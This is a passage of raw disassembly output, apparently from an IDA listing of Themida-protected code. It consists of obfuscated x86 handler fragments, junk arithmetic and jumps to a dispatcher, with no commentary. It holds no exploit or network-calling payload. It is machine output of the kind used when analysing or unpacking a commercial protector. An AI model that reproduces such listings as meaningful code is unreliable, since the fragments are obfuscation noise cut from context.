38h jmp loc_5A7E90 ; --------------------------------------------------------------------------- loc_5A0820: ; DATA XREF: Themida_:00598744o push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A082F: ; CODE XREF: Themida_:005AC48Dj push dx not byte ptr [esp+1] jmp loc_59D011 ; --------------------------------------------------------------------------- loc_5A083A: ; CODE XREF: Themida_:0059DA79j push 31E31381h jmp loc_5A56F3 ; --------------------------------------------------------------------------- loc_5A0844: ; CODE XREF: Themida_:005ABF8Ej ; Themida_:005AE12Dj and ecx, edx push dword ptr [esp] pop edx push 4B89h mov [esp], ebx mov ebx, esp sub esp, 4 jmp loc_59BE96 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A1E51 ; --------------------------------------------------------------------------- loc_5A0865: ; CODE XREF: Themida_:0059F051j xchg esi, ecx jmp loc_59D20F ; --------------------------------------------------------------------------- loc_5A086C: ; CODE XREF: Themida_:005A39D1j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub [edi+24h], eax push dword ptr [esp] jmp loc_59DEC1 ; --------------------------------------------------------------------------- loc_5A0887: ; CODE XREF: Themida_:005AAF70j pop edi jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A088D: ; CODE XREF: Themida_:005A00D9j or edi, 183F156Dh jmp loc_59A356 ; --------------------------------------------------------------------------- loc_5A0898: ; CODE XREF: Themida_:005A275Cj add eax, 0FF78A7CCh push ebp mov ebp, 51D4069Dh jmp loc_5AB3CF ; --------------------------------------------------------------------------- loc_5A08A8: ; CODE XREF: Themida_:005A7163j jmp loc_598D9C ; --------------------------------------------------------------------------- loc_5A08AD: ; CODE XREF: Themida_:loc_5AB364j jmp loc_59B2C1 ; --------------------------------------------------------------------------- loc_5A08B2: ; CODE XREF: Themida_:005AB388j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push 0ECDh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A9172 ; --------------------------------------------------------------------------- loc_5A08D2: ; CODE XREF: Themida_:0059F96Bj mov dh, al jmp loc_59BC70 ; --------------------------------------------------------------------------- loc_5A08D9: ; CODE XREF: Themida_:005A444Bj pop esp push edx push esp pop edx push edi push esi mov esi, 42432C49h mov edi, esi pop esi jmp loc_5A671B ; --------------------------------------------------------------------------- loc_5A08EC: ; CODE XREF: Themida_:005A0220j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ecx mov ecx, esp jmp loc_5A5578 ; --------------------------------------------------------------------------- loc_5A08FE: ; CODE XREF: Themida_:005AE9E7j pop ebx jmp loc_5AB229 ; --------------------------------------------------------------------------- loc_5A0904: ; CODE XREF: Themida_:005AE069j add bl, 4Ch pop eax jmp loc_5AE19A ; --------------------------------------------------------------------------- loc_5A090D: ; CODE XREF: Themida_:0059FB52j ; Themida_:005A45E2j ... mov eax, ecx push dword ptr [esp] pop ecx push 235Bh mov [esp], ebp mov ebp, esp push esi jmp loc_59A639 ; --------------------------------------------------------------------------- loc_5A0923: ; CODE XREF: Themida_:0059DD9Bj mov ecx, eax pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5A54BF ; --------------------------------------------------------------------------- loc_5A093A: ; CODE XREF: Themida_:005995C3j pop ecx sub edx, 298680Ch sub ebx, 28F2736Dh add ebx, edx push edx jmp loc_5A34FE ; --------------------------------------------------------------------------- loc_5A094F: ; CODE XREF: Themida_:0059BB5Fj push ebx mov ebx, 0F0C2B5Fh shl ebx, 4 add ebx, 3B5064E1h push edi mov edi, 5DD53BE8h not edi dec edi shl edi, 5 shr edi, 8 jmp loc_5AABF8 ; --------------------------------------------------------------------------- loc_5A0972: ; CODE XREF: Themida_:005AF418j add dword ptr [esp], 4 pop ecx jmp loc_5AA009 ; --------------------------------------------------------------------------- loc_5A097C: ; CODE XREF: Themida_:005AF1E1j push 2BD4h mov [esp], eax mov eax, 45D5E00Eh jmp loc_59D1DD ; --------------------------------------------------------------------------- loc_5A098E: ; CODE XREF: Themida_:0059DF44j ; Themida_:005A8ABCj mov [esp], edx jmp loc_59D193 ; --------------------------------------------------------------------------- loc_5A0996: ; CODE XREF: Themida_:00599BE0j xor edx, 6FFC7C6Bh jz loc_59ED8E sub edx, 95E5EB90h push eax jmp loc_5A223B ; --------------------------------------------------------------------------- loc_5A09AE: ; CODE XREF: Themida_:0059FCD0j neg eax add eax, 43470E31h sub eax, 6230040Ah jmp loc_59C1F6 ; --------------------------------------------------------------------------- loc_5A09BF: ; CODE XREF: Themida_:0059DE07j ; DATA XREF: Themida_:005987E0o neg word ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A09C9: ; CODE XREF: Themida_:005A8384j mov ecx, 3320101Ch sub edx, ecx jmp loc_5AE380 ; --------------------------------------------------------------------------- loc_5A09D5: ; CODE XREF: Themida_:00599E0Fj xor dh, 0EBh xor al, dh pop edx push edx mov dh, 2Bh sub al, dh pop edx jmp loc_5A7258 ; --------------------------------------------------------------------------- loc_5A09E6: ; CODE XREF: Themida_:005A02DDj and ebx, ebp pop ebp shr ebx, 6 xchg edx, ebx not edx xchg edx, ebx push ebp jmp loc_59E946 ; --------------------------------------------------------------------------- loc_5A09F8: ; CODE XREF: Themida_:loc_5A690Dj push edi mov edi, 218795Fh shl edi, 7 neg edi xor edi, 0B9800702h sub edx, 77A93603h sub edx, edi add edx, 77A93603h jmp loc_5A43DB ; --------------------------------------------------------------------------- loc_5A0A1C: ; CODE XREF: Themida_:0059D53Dj add bl, dh jmp loc_5A9AC2 ; --------------------------------------------------------------------------- loc_5A0A23: ; DATA XREF: Themida_:005987D8o mov cx, [esp] push 7D6Dh mov [esp], ebp push 3795h mov [esp], edx push esp pop edx add edx, 4 push ecx mov ecx, 48D86C9Eh shl ecx, 8 push edi jmp loc_5A65C0 ; --------------------------------------------------------------------------- loc_5A0A4E: ; CODE XREF: Themida_:005A3D02j ; Themida_:005AE3CFj sub eax, 3D62375Dh jmp loc_5A1BCC ; --------------------------------------------------------------------------- loc_5A0A58: ; CODE XREF: Themida_:0059B3EFj mov edi, 33737BC1h inc edi jns loc_5AE30B jmp loc_5A42F3 ; --------------------------------------------------------------------------- pop ebx pop eax pop ecx jns loc_5AD7CA loc_5A0A72: ; CODE XREF: Themida_:005A93D3j jmp loc_59BB5C ; --------------------------------------------------------------------------- loc_5A0A77: ; CODE XREF: Themida_:0059E189j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_59F0D0 ; --------------------------------------------------------------------------- loc_5A0A88: ; CODE XREF: Themida_:005AD73Cj sub dword ptr [esp+4], 36B6653h add [esp+4], eax jmp loc_5A5598 ; --------------------------------------------------------------------------- loc_5A0A99: ; CODE XREF: Themida_:005A8ADBj add edx, 7E91757h push 2ABFh mov [esp], eax mov eax, 5A960056h push 72AAh mov [esp], ecx mov ecx, 618E65A0h or eax, ecx pop ecx xor eax, 0FB857A2Bh xor edx, eax mov eax, [esp] add esp, 4 jmp loc_59960E ; --------------------------------------------------------------------------- loc_5A0AD1: ; CODE XREF: Themida_:0059DFEEj add esp, 4 add esi, 7C50B5Dh sub esi, 0D68F8346h sub ebx, esi pop esi add ebx, 5FC70574h jmp loc_599887 ; --------------------------------------------------------------------------- loc_5A0AEE: ; CODE XREF: Themida_:005A198Aj mov ebx, 61BA4B23h push esi mov esi, 61BA4B1Fh sub ebx, esi pop esi add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] jmp loc_59C8E7 ; --------------------------------------------------------------------------- loc_5A0B0D: ; CODE XREF: Themida_:0059BD9Cj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A2357 ; --------------------------------------------------------------------------- loc_5A0B1B: ; CODE XREF: Themida_:005AB7CAj sub ch, bh pop ebx jmp loc_5A8C9B ; --------------------------------------------------------------------------- loc_5A0B23: ; CODE XREF: Themida_:0059C09Dj push ebp mov ebp, 437E1704h xor ecx, ebp pop ebp add ebp, 13182F84h sub ebp, 6B612842h jmp loc_5AC175 ; --------------------------------------------------------------------------- loc_5A0B3D: ; CODE XREF: Themida_:0059F3CBj add al, ch pop ecx mov ecx, [esp] add esp, 4 push cx sub esp, 4 mov [esp], ebx mov bl, 0BAh xor bl, 1Ch jnz loc_5A5A45 jmp loc_5AADAC ; --------------------------------------------------------------------------- shr edi, 7 mov bh, 0CCh loc_5A0B67: ; CODE XREF: Themida_:00599386j pop ebp xor ebx, 3E732C75h jmp loc_5A06A5 ; --------------------------------------------------------------------------- loc_5A0B73: ; CODE XREF: Themida_:0059D99Ej add esp, 4 push 4582h mov [esp], ecx mov ecx, 371C2C1Dh add ecx, 55B62EEEh dec ecx jmp loc_5AA3B0 ; --------------------------------------------------------------------------- loc_5A0B92: ; CODE XREF: Themida_:005A9340j sub esi, 0E2882870h and edx, esi pop esi sub edx, 147383Ch add esi, edx pop edx push edx push ebx mov ebx, 184A498Fh mov edx, ebx jmp loc_59FC3D ; --------------------------------------------------------------------------- loc_5A0BB2: ; CODE XREF: Themida_:0059C92Bj xor ch, bl xor bl, ch xor ch, bl push dx mov dl, bl not dl mov bl, dl pop dx push ax jmp loc_5A2BA5 ; --------------------------------------------------------------------------- loc_5A0BC9: ; CODE XREF: Themida_:005A487Aj add ecx, ebx pop ebx sub ecx, edx sub ecx, 3D5832ABh pop edx xor ecx, 4E3C58F0h and eax, ecx pop ecx or eax, eax jz loc_5ABBC2 push dword ptr [edi+1Ch] push eax mov eax, 755A0996h xor [esp+4], eax mov eax, [esp] add esp, 4 pop ecx jmp loc_5AA3F5 ; --------------------------------------------------------------------------- loc_5A0C02: ; CODE XREF: Themida_:005AD266j pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A8698 ; --------------------------------------------------------------------------- loc_5A0C10: ; CODE XREF: Themida_:0059A881j mov ebp, esp add ebp, 4 jmp loc_5ABEA5 ; --------------------------------------------------------------------------- loc_5A0C1D: ; CODE XREF: Themida_:005A722Dj xchg ebp, [esp] jmp loc_59E4C4 ; --------------------------------------------------------------------------- loc_5A0C25: ; CODE XREF: Themida_:005A9BCBj xor eax, ebp pop ebp add eax, 3F9F5F1Ah jmp loc_59F81B ; --------------------------------------------------------------------------- loc_5A0C32: ; CODE XREF: Themida_:005AF4CEj push 0DFh mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx sub ebx, 4 jmp loc_5A1061 ; --------------------------------------------------------------------------- loc_5A0C4D: ; CODE XREF: Themida_:005A4504j mov ebp, edi push ebp pop edx pop ebp pop edi and eax, edx jmp loc_5AB0EA ; --------------------------------------------------------------------------- loc_5A0C5A: ; CODE XREF: Themida_:0059EDF8j shr ch, 5 sub ch, 1 sub ch, 96h sub bl, 0AAh jmp loc_598E77 ; --------------------------------------------------------------------------- loc_5A0C6B: ; CODE XREF: Themida_:005A5E08j sub edx, 5672391Eh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5A2F07 ; --------------------------------------------------------------------------- loc_5A0C82: ; CODE XREF: Themida_:005A90A1j mov ebp, 72B52671h sub ecx, ebp pop ebp jmp loc_5997DB ; --------------------------------------------------------------------------- loc_5A0C8F: ; CODE XREF: Themida_:00598EB8j push 6C4Fh mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 261F0D66h add [esp+4], eax sub dword ptr [esp+4], 261F0D66h pop eax jmp loc_5A1415 ; --------------------------------------------------------------------------- loc_5A0CB7: ; CODE XREF: Themida_:00599931j jl loc_59A53C jmp loc_5A1A42 ; --------------------------------------------------------------------------- loc_5A0CC2: ; CODE XREF: Themida_:005A72D2j push esi mov esi, esp jmp loc_5AB0D2 ; --------------------------------------------------------------------------- loc_5A0CCA: ; CODE XREF: Themida_:005A4543j push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A86F6 ; --------------------------------------------------------------------------- loc_5A0CDB: ; CODE XREF: Themida_:0059BFC2j sub esi, 64450EBCh xor ebp, esi jmp loc_59EC33 ; --------------------------------------------------------------------------- loc_5A0CE8: ; CODE XREF: Themida_:0059B96Fj mov esi, 78852F80h and esi, 7ADD391Eh dec esi js loc_59DBCB push edi push edx jmp loc_5A5D4E ; --------------------------------------------------------------------------- loc_5A0D01: ; CODE XREF: Themida_:loc_5A9D26j neg eax jl loc_5A260B xor eax, 67A1525Eh xor eax, 23F25F76h mov esi, eax jmp loc_59996F ; --------------------------------------------------------------------------- loc_5A0D1A: ; CODE XREF: Themida_:005AE251j sub ebx, 21841467h xor ebx, 0C954F5EFh sub ebp, ebx pop ebx add ebp, esi add ebp, 16320B0Ah push dword ptr [esp] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_599036 ; --------------------------------------------------------------------------- loc_5A0D45: ; CODE XREF: Themida_:0059FD66j mov [edi+eax*4+1], cl mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A0D61: ; CODE XREF: Themida_:005A8F12j add edx, ebp push dword ptr [esp] pop ebp push ebx jmp loc_5A36F2 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5AA933 ; --------------------------------------------------------------------------- loc_5A0D75: ; CODE XREF: Themida_:005A48DCj ; Themida_:005A62E3j xor dx, 327Ch xor ax, dx mov edx, [esp] add esp, 4 push cx jmp loc_5ACD36 ; --------------------------------------------------------------------------- loc_5A0D8D: ; CODE XREF: Themida_:005ADD99j push esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5AA431 ; --------------------------------------------------------------------------- loc_5A0DA8: ; CODE XREF: Themida_:005AEF52j xchg ah, dh push ecx jmp loc_59F5B3 ; --------------------------------------------------------------------------- loc_5A0DB0: ; CODE XREF: Themida_:005ACDCAj mov edx, 5DBC3500h jmp loc_5ABB7F ; --------------------------------------------------------------------------- loc_5A0DBA: ; CODE XREF: Themida_:0059C146j add ecx, edi jmp loc_59F235 ; --------------------------------------------------------------------------- loc_5A0DC1: ; CODE XREF: Themida_:0059F5B5j not ch dec ch not ch jmp loc_5A69EB ; --------------------------------------------------------------------------- loc_5A0DCC: ; CODE XREF: Themida_:005A2A67j xor ah, 5 push 7878h jmp loc_59FF99 ; --------------------------------------------------------------------------- loc_5A0DD9: ; CODE XREF: Themida_:005ADEBAj push ecx jmp loc_59F9E0 ; --------------------------------------------------------------------------- loc_5A0DDF: ; CODE XREF: Themida_:005AE9EFj xor edi, [esp] jmp loc_5A66C6 ; --------------------------------------------------------------------------- loc_5A0DE7: ; CODE XREF: Themida_:005A173Fj pop eax push edx jmp loc_5AC24B ; --------------------------------------------------------------------------- loc_5A0DEE: ; CODE XREF: Themida_:005AC6ABj pop eax pop edx and eax, ebp pop ebp shr eax, 0Ch xor eax, ecx push 1BC6h jmp loc_5A86EA ; --------------------------------------------------------------------------- loc_5A0E02: ; CODE XREF: Themida_:005A735Aj add ebx, 362F79C6h mov edi, ebx pop ebx jmp loc_5A3040 ; --------------------------------------------------------------------------- loc_5A0E10: ; CODE XREF: Themida_:005A6031j mov esp, [esp] push eax push esp pop eax push ebx mov ebx, 4 sub eax, 0C8E3C7Eh add eax, ebx jmp loc_5A55FE ; --------------------------------------------------------------------------- loc_5A0E28: ; CODE XREF: Themida_:0059AC2Bj shr edx, 6 xor edx, 3A7CA09h add edi, edx jmp loc_5AC200 ; --------------------------------------------------------------------------- loc_5A0E38: ; CODE XREF: Themida_:0059E210j ; Themida_:0059F88Dj pop edi pop eax jmp loc_5AE4FC ; --------------------------------------------------------------------------- loc_5A0E3F: ; CODE XREF: Themida_:0059D6B9j bts [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A0E4A: ; CODE XREF: Themida_:0059E1D1j shl ebx, 5 not ebx jmp loc_5A29FA ; --------------------------------------------------------------------------- loc_5A0E54: ; CODE XREF: Themida_:0059D50Dj not edx jmp loc_59EB5A ; --------------------------------------------------------------------------- loc_5A0E5B: ; CODE XREF: Themida_:0059BE3Dj ; Themida_:005AC1F8j mov esp, [esp] mov [esp], esi push ebp mov ebp, 2A77454Ch jmp loc_5AED13 ; --------------------------------------------------------------------------- loc_5A0E6C: ; DATA XREF: Themida_:005986C4o mov cx, [esp] push esi sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop esi push 65DBh jmp loc_599B76 ; --------------------------------------------------------------------------- loc_5A0E9D: ; CODE XREF: Themida_:005A4F33j mov eax, 55B37624h dec eax inc eax add eax, 29E0BA4h add eax, 0CAC6A515h sub edx, eax pop eax add edx, esi push eax mov eax, 5B5C0A4Eh push edi jmp loc_59E67C ; --------------------------------------------------------------------------- loc_5A0EBF: ; CODE XREF: Themida_:005A4DEDj ; Themida_:005AF2B3j xor al, bl mov bx, [esp] jmp loc_5A5068 ; --------------------------------------------------------------------------- loc_5A0ECA: ; CODE XREF: Themida_:0059CA4Aj mov [esp], ecx pop edx pop ecx jmp loc_59A734 ; --------------------------------------------------------------------------- loc_5A0ED4: ; CODE XREF: Themida_:005A8E7Dj add esp, 4 xor esi, edx push dword ptr [esp] pop edx push eax jmp loc_5A75B1 ; --------------------------------------------------------------------------- loc_5A0EE6: ; CODE XREF: Themida_:0059F528j xchg ebx, [esp] pop esp mov [esp], ebx mov bh, 44h push 6D72h mov [esp], eax push ecx mov cl, 0CBh mov ah, cl mov ecx, [esp] add esp, 4 sub bh, ah pop eax sub esp, 4 mov [esp], eax mov ah, 60h sub ah, 0CEh xor bh, ah pop eax push ebx mov bh, 0D1h jmp loc_59B931 ; --------------------------------------------------------------------------- loc_5A0F1B: ; CODE XREF: Themida_:0059A268j ; Themida_:loc_5A9011j add [esp+4], ebx pop ebx pop edi add edi, 4 push edx mov edx, 79DD3BBCh jmp loc_5A4F7F ; --------------------------------------------------------------------------- loc_5A0F32: ; CODE XREF: Themida_:005AB44Cj mov [esp], edi push esp pop edi sub esp, 4 mov [esp], ebx mov ebx, 7BDC3B38h xor ebx, 7BDC3B3Ch jmp loc_5AD530 ; --------------------------------------------------------------------------- loc_5A0F50: ; CODE XREF: Themida_:005A06D0j mov edi, 7B4D69C9h sub edi, 0FFFFFFFFh jmp loc_5ABF19 ; --------------------------------------------------------------------------- loc_5A0F60: ; CODE XREF: Themida_:005ADC92j or ebp, 28287460h or ebp, 16427A2Eh jmp loc_59D829 ; --------------------------------------------------------------------------- loc_5A0F71: ; CODE XREF: Themida_:0059E3E4j push ebx mov ebx, 550865E2h and edi, ebx pop ebx jmp loc_5ACA2B ; --------------------------------------------------------------------------- loc_5A0F7F: ; CODE XREF: Themida_:005A2BCCj sub eax, ebx pop ebx push dword ptr [esp] pop esi jmp loc_5AF5FF ; --------------------------------------------------------------------------- loc_5A0F8B: ; CODE XREF: Themida_:005AF931j add esi, edx sub esi, 6AB21CF3h pop edx jmp loc_5AE9F4 ; --------------------------------------------------------------------------- loc_5A0F99: ; CODE XREF: Themida_:0059C647j mov edi, 35EF59CFh push 35EF59D3h pop ebp sub ebp, edi jmp loc_5AE0E7 ; --------------------------------------------------------------------------- loc_5A0FAB: ; CODE XREF: Themida_:0059A2A5j jns loc_59CB55 add esi, 21BD7600h shl esi, 7 xor esi, 85E1A442h sub eax, 12D16A88h add eax, esi add eax, 12D16A88h pop esi jmp loc_5A0459 ; --------------------------------------------------------------------------- loc_5A0FD2: ; CODE XREF: Themida_:005A6552j mov edi, [esp] push eax jmp loc_5AF15A ; --------------------------------------------------------------------------- loc_5A0FDB: ; CODE XREF: Themida_:0059FF1Dj add edx, 1 jmp loc_5ABB72 ; --------------------------------------------------------------------------- loc_5A0FE3: ; CODE XREF: Themida_:005AE7ACj sub si, 5B65h mov cx, si jmp loc_598EDA ; --------------------------------------------------------------------------- loc_5A0FF0: ; CODE XREF: Themida_:005A7CFFj mov cl, 0C6h add cl, 0C5h jge loc_598F7F add cl, 6Eh shr cl, 8 xor cl, 63h jg loc_5A648F push eax mov ah, 68h push ebx mov bh, 50h dec bh sub al, 72h push esi loc_5A1015: ; CODE XREF: Themida_:005A73F5j push 3C23h jmp loc_5AA59E ; --------------------------------------------------------------------------- loc_5A101F: ; CODE XREF: Themida_:005996E1j ; Themida_:005A221Aj add ebx, edi add ebx, 48B92AFEh push edx push edi mov edi, 4E683415h mov edx, 4E683415h xor edx, edi jmp loc_59BD41 ; --------------------------------------------------------------------------- loc_5A103A: ; DATA XREF: Themida_:00598838o mov ax, [esp] sub esp, 4 jmp loc_5AF7B6 ; --------------------------------------------------------------------------- loc_5A1049: ; CODE XREF: Themida_:005A5168j sub bl, 7Dh sub bl, 0D4h jmp loc_5AE006 ; --------------------------------------------------------------------------- loc_5A1054: ; CODE XREF: Themida_:0059D336j push 2084h mov [esp], ecx jmp loc_59DB3A ; --------------------------------------------------------------------------- loc_5A1061: ; CODE XREF: Themida_:005A0C48j xchg ebx, [esp] jmp loc_5ACE12 ; --------------------------------------------------------------------------- loc_5A1069: ; CODE XREF: Themida_:0059906Aj sub bl, dh mov dx, [esp] jmp loc_5AD29B ; --------------------------------------------------------------------------- loc_5A1074: ; CODE XREF: Themida_:005AABDEj mov [esp], esi mov esi, 213021D1h or esi, 0FDB36A9h sub esi, 51360E8h add esi, 0EF8D5810h sub edx, 358C6F91h jmp loc_5989FD ; --------------------------------------------------------------------------- loc_5A1099: ; CODE XREF: Themida_:loc_5A8C7Ej add ebp, 18D9CE2Ch sub [esp+4], ebp jmp loc_5A7A50 ; --------------------------------------------------------------------------- loc_5A10A8: ; CODE XREF: Themida_:005AF9D3j push 74C5h mov [esp], ecx sub esp, 4 mov [esp], esp jmp loc_59A503 ; --------------------------------------------------------------------------- loc_5A10BE: ; CODE XREF: Themida_:005AD0DEj add ebx, edx add ebx, 9577FA9h jmp loc_59ABEC ; --------------------------------------------------------------------------- loc_5A10CB: ; CODE XREF: Themida_:005AD397j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_5A70EE ; --------------------------------------------------------------------------- loc_5A10DF: ; CODE XREF: Themida_:005AA228j push ebx push esp mov ebx, [esp] add esp, 4 push edx mov edx, 4 jmp loc_5A3953 ; --------------------------------------------------------------------------- loc_5A10F5: ; CODE XREF: Themida_:005A211Fj mov ebp, esp jmp loc_59F410 ; --------------------------------------------------------------------------- loc_5A10FC: ; CODE XREF: Themida_:005A6484j sub al, bl sub al, 26h push 6014h mov [esp], ecx push 2250h mov [esp], edx push 4D02h mov [esp], ebx mov bl, 0B9h jmp loc_5A4F9F ; --------------------------------------------------------------------------- loc_5A111F: ; CODE XREF: Themida_:005A1832j pop eax push edi push esp jmp loc_59CD2B ; --------------------------------------------------------------------------- loc_5A1127: ; CODE XREF: Themida_:005AD577j jmp loc_5AA911 ; --------------------------------------------------------------------------- loc_5A112C: ; CODE XREF: Themida_:005AB0AAj add esp, 4 sub esi, 4 xor esi, [esp] jmp loc_59BE37 ; --------------------------------------------------------------------------- loc_5A113D: ; CODE XREF: Themida_:005ABB12j sub edi, 0E7C5511Dh xor edi, 57BA39A8h jmp loc_59A550 ; --------------------------------------------------------------------------- loc_5A114E: ; CODE XREF: Themida_:005A89ACj not ebp push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop edi add edi, 9470620Bh add ebx, edi mov edi, [esp] add esp, 4 sub ebx, 450C4122h sub ebx, eax add ebx, 450C4122h push 0F91h mov [esp], ecx jmp loc_59F970 ; --------------------------------------------------------------------------- loc_5A118E: ; CODE XREF: Themida_:0059A75Ej mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A954E ; --------------------------------------------------------------------------- loc_5A11A1: ; CODE XREF: Themida_:005A8605j jnz loc_5A993D dec esi jg loc_5A5AFD mov ah, ch mov ebx, edi loc_5A11B2: ; CODE XREF: Themida_:005A83CAj sub dx, 4949h pop ax xor ax, dx mov edx, [esp] add esp, 4 push edx jmp loc_5A76ED ; --------------------------------------------------------------------------- loc_5A11C8: ; CODE XREF: Themida_:005A7CE3j jns loc_5A5E1C jmp loc_5AD6F0 ; --------------------------------------------------------------------------- loc_5A11D3: ; CODE XREF: Themida_:005ACB2Aj sub esi, 0A17FFD5Fh and ecx, esi pop esi shr ecx, 7 push ecx mov ecx, 1Ch jmp loc_59E6D7 ; --------------------------------------------------------------------------- loc_5A11EA: ; CODE XREF: Themida_:005A24E6j pop ecx jmp loc_5A8051 ; --------------------------------------------------------------------------- loc_5A11F0: ; CODE XREF: Themida_:005A4708j push dword ptr [esp] pop edi add esp, 4 shl edi, 2 jmp loc_5AF76E ; --------------------------------------------------------------------------- loc_5A11FF: ; CODE XREF: Themida_:005A5457j ; Themida_:005AEE65j add eax, ebp add eax, 57515842h pop ebp jmp loc_5A4674 ; --------------------------------------------------------------------------- loc_5A120C: ; CODE XREF: Themida_:005AA656j push dword ptr [eax] jmp loc_5A4680 ; --------------------------------------------------------------------------- loc_5A1213: ; CODE XREF: Themida_:005AEA4Bj push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1222: ; CODE XREF: Themida_:005A981Ej mov ch, 0Eh sub ch, 62h push cx dec byte ptr [esp+1] pop cx add ch, 55h jmp loc_5AAA41 ; --------------------------------------------------------------------------- loc_5A1237: ; CODE XREF: Themida_:005A2BA8j mov dh, ch mov bl, dh pop edx mov ch, ah jmp loc_5994D5 ; --------------------------------------------------------------------------- loc_5A1243: ; CODE XREF: Themida_:005A69EEj xor ch, 0D0h add dh, ch pop ecx push bx mov bh, 62h add dh, 5Fh sub dh, bh jmp loc_5AD7EF ; --------------------------------------------------------------------------- loc_5A1257: ; CODE XREF: Themida_:0059F72Cj mov edx, esp add edx, 4 add edx, 4 jmp loc_5AE776 ; --------------------------------------------------------------------------- loc_5A126A: ; CODE XREF: Themida_:005A6D77j mov ch, 47h push ecx jmp loc_5A1C2C ; --------------------------------------------------------------------------- loc_5A1272: ; CODE XREF: Themida_:005AF3C0j and [edi+1Ch], ebx mov ebx, [esp] push ecx jmp loc_5A7F9E ; --------------------------------------------------------------------------- loc_5A127E: ; CODE XREF: Themida_:0059E7C5j push edx push edi mov edi, 41891B27h mov edx, 0BD60AEEh add edx, 6FD94CA4h sub edx, 0AA3FFDh add edx, edi jmp loc_5AE851 ; --------------------------------------------------------------------------- loc_5A129D: ; CODE XREF: Themida_:005AB759j sub al, dl add al, 0D9h add al, 67h pop edx push edx mov dh, 0BEh sub al, dh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A4D65 ; --------------------------------------------------------------------------- loc_5A12C3: ; CODE XREF: Themida_:00598C13j mov [esp], dx push ecx mov cl, 31h jmp loc_5A43BE ; --------------------------------------------------------------------------- loc_5A12CF: ; CODE XREF: Themida_:0059A414j add esp, 4 jmp loc_59F14F ; --------------------------------------------------------------------------- loc_5A12DA: ; CODE XREF: Themida_:00598CAFj neg esi shl esi, 6 push eax mov eax, 7BDF53D7h jmp loc_5AFCEA ; --------------------------------------------------------------------------- loc_5A12EA: ; CODE XREF: Themida_:005AC2B0j pop edi xchg edx, [esp] pop esp mov [esp], edx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A12F7: ; CODE XREF: Themida_:005A2312j sub ecx, esi pop esi push 5DE2h mov [esp], edx mov edx, 2D3E3966h and edx, 50EA7A1Ah neg edx xor edx, 4A01C94h jmp loc_59A9EC ; --------------------------------------------------------------------------- loc_5A131A: ; CODE XREF: Themida_:005A8FFFj pop edi sub esp, 4 mov [esp], ebx mov ebx, 4 add ecx, ebx push dword ptr [esp] pop ebx add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add esp, 4 inc dword ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1348: ; CODE XREF: Themida_:005A3383j not esi not esi add esi, 7D027935h sub ecx, esi pop esi push ecx add dword ptr [esp], 6E7A051Fh pop edx jmp loc_59AA1F ; --------------------------------------------------------------------------- loc_5A1363: ; CODE XREF: Themida_:005A5EDBj xor eax, edx xor edx, eax xor eax, edx not edx jmp loc_5AF379 ; --------------------------------------------------------------------------- loc_5A1370: ; CODE XREF: Themida_:0059D5C9j add esp, 4 push ebx mov ebx, 6AB26D1h mov eax, 0C32D65F0h xor eax, ebx pop ebx add eax, edx mov edx, [esp] push 191Dh jmp loc_59D808 ; --------------------------------------------------------------------------- loc_5A1393: ; CODE XREF: Themida_:005AAF7Ej push 374F0B20h pop esi mov edi, 0B26D7C8Fh jmp loc_599131 ; --------------------------------------------------------------------------- loc_5A13A3: ; CODE XREF: Themida_:0059A758j push ebx push 3EB31162h pop ebx not ebx push eax mov eax, 60D452E9h and ebx, eax pop eax jmp loc_59D351 ; --------------------------------------------------------------------------- loc_5A13BA: ; CODE XREF: Themida_:0059CFE0j add ecx, 4F542409h neg ecx xor ecx, 1E8E7F5Bh shr ecx, 4 add ecx, 1A6575A7h jmp loc_5A817D ; --------------------------------------------------------------------------- loc_5A13D6: ; CODE XREF: Themida_:005A66A4j xor edx, 7F2C0A9Ch jnb loc_59CD1E sub edx, 0B9B10C40h not edx mov bl, dl mov ecx, edx loc_5A13EE: ; CODE XREF: Themida_:005A6BB0j add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A13F6: ; CODE XREF: Themida_:005A591Cj push edx sub esp, 4 mov [esp], ebx jmp loc_5A7319 ; --------------------------------------------------------------------------- loc_5A1402: ; CODE XREF: Themida_:0059DC64j pop edx mov ebx, ecx jmp loc_5A656B ; --------------------------------------------------------------------------- loc_5A140A: ; CODE XREF: 